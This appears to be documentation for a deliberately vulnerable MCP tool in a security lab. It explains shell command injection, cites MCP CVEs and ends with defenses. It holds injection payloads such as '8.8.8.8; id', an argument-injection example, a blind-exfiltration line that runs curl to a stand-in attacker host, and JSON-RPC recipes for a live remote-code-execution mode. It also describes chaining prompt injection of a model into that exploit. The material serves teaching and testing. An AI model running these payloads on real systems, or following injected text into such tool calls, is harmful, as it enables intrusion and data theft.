Command injection (deliberately vulnerable tool)#

The flaw is in the tool's implementation. A benign-looking net_diagnostic tool ("check whether a host is reachable") builds a shell command by string-concatenating the host parameter and runs it through the shell — so host = "8.8.8.8; id" runs id too. This is the dominant MCP CVE class: node-code-sandbox-mcp (CVE-2025-53372), mcp-server-kubernetes, PraisonAI (CVE-2026-34935), codebase-mcp, mcp-server-taskwarrior — all execSync / shell=True on unsanitized tool input.

Secure-by-default. This tool dry-runs by default: it builds the vulnerable command, flags the injection, and records it, but does not execute. Pass --cmdi-live to actually run commands — real RCE, only in an isolated lab/VM. Same toggle philosophy as --insecure.


Threat model#

A tool legitimately needs to shell out (ping, git, kubectl, a converter). It builds the command as a string with a caller-supplied value spliced in, and runs it via the shell. Any caller who controls that value controls the command line — and in MCP, the model is the caller. So this chains with the poisoning exploits: an attacker who can steer the model (a poisoned description, or indirect injection from a doc/issue/web page the model reads) gets the model to pass a malicious host, and the vulnerable tool turns prompt injection into remote code execution.


Mechanism#

flowchart TD CODE["Tool code (INTENTIONALLY VULNERABLE)
command = f'ping -c 1 {host}'
subprocess.run(command, shell=True)"] CODE -->|"caller (model / client) supplies
host = 8.8.8.8; id"| LINE["Constructed command line
ping -c 1 8.8.8.8 ; id
└─ intended ─┘ └ injected ┘"] LINE -->|"the shell parses ; and $(…)
as syntax, not data"| OUT["Output — the shell ran BOTH commands
PING 8.8.8.8 … 1 packets transmitted …
uid=1000(user) gid=1000(user) … ← attacker's command ran"] classDef danger fill:#cc241d,stroke:#fb4934,color:#fbf1c7 classDef benign fill:#98971a,stroke:#b8bb26,color:#fbf1c7 classDef model fill:#458588,stroke:#83a598,color:#fbf1c7 class CODE benign class LINE danger class OUT danger

Useful metacharacters: ; (sequence), | (pipe), &&/|| (conditional), $(…) / `…` (substitution), >/< (redirection), newline. Any one of them ends the "intended" command and begins the attacker's.


Why it works#

  • A string is not a command line. Building "ping -c 1 " + host lets the shell re-parse the whole thing; the shell can't tell the intended host from injected syntax.
  • shell=True / execSync invoke a shell, which is what interprets the metacharacters. With an argv list and no shell, "8.8.8.8; id" would just be a (failed) hostname.
  • Tool inputs are untrusted. They come from the model, which comes from the user and from any content the model has ingested — none of it validated here.
  • It looks fine on the wire. The description is honest; nothing about net_diagnostic reads as malicious until someone passes a payload.

  • Argument injection. Even with an argv list (no shell), injecting extra flags is enough: git clone $URL with URL="--upload-pack=touch /tmp/pwned …", or --output=/etc/cron.d/x, or passing bash -c/python -c. This is the PraisonAI CVE-2026-34935 "incomplete fix" class — blocking ;/| does nothing against it. Tracked as its own roadmap entry under Deliberately vulnerable tools.
  • Blind / out-of-band injection. When the tool returns no output, exfiltrate via the injected command itself — ; curl http://attacker/$(whoami) or a DNS lookup — and read it on your server.
  • Sandbox escape. Command injection that breaks out of a Docker/sandbox confinement (node-code-sandbox-mcp, CVE-2025-53372).

How to use#

net_diagnostic registers at startup (catalogued in mcpserver/exploits/__init__.py).

Against a LLM#

Using the rig in demo-local-llm.md, this is most striking combined with a poisoning exploit: get the model to call net_diagnostic with an injected host on its own (e.g. a poisoned description or an indirect-injection payload that says "diagnose 8.8.8.8; id"). That is the full prompt-injection → RCE chain.

By hand (stdio)#

Dry-run (default) — prove the injection point safely#

python3 server.py --enable command-injection <<'EOF'
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-11-25","capabilities":{},"clientInfo":{"name":"c","version":"0"}}}
{"jsonrpc":"2.0","method":"notifications/initialized"}
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"net_diagnostic","arguments":{"host":"8.8.8.8; id"}}}
EOF

Returns [dry-run] would execute: ping -c 1 8.8.8.8; id ⚠ shell metacharacters detected … and records the attempt to loot/exfiltrated.jsonl (injection_detected: true, executed: false) — nothing runs.

Live (opt-in) — real execution#

Only in a throwaway lab/VM (this hands any caller RCE on the host):

python3 server.py --enable command-injection \
  --cmdi-live <<'EOF'
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-11-25","capabilities":{},"clientInfo":{"name":"c","version":"0"}}}
{"jsonrpc":"2.0","method":"notifications/initialized"}
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"net_diagnostic","arguments":{"host":"127.0.0.1; echo PWNED"}}}
EOF

Now the result actually contains PWNED (swap in id, whoami, etc.), and the loot line shows executed: true with the captured output.


Defenses#

  • Don't build shell strings. Pass an argv list to subprocess.run([...] , shell=False) / execFile*; the OS treats each element as one argument, so metacharacters are inert.
  • If you must build a string, escape it with shlex.quote() per argument — but argv lists are safer and also blunt argument injection less, so still validate.
  • Validate + allowlist. Constrain host to a strict pattern (e.g. a hostname/IP regex); reject anything else. For commands, allowlist the exact program and permitted flags.
  • Least privilege / sandbox. Run tools that shell out under a low-privilege, network-egress- restricted, containerized identity so a successful injection is contained.
  • Human approval of tool arguments. Surface the real arguments; host = "8.8.8.8; id" is obviously wrong when shown.

References#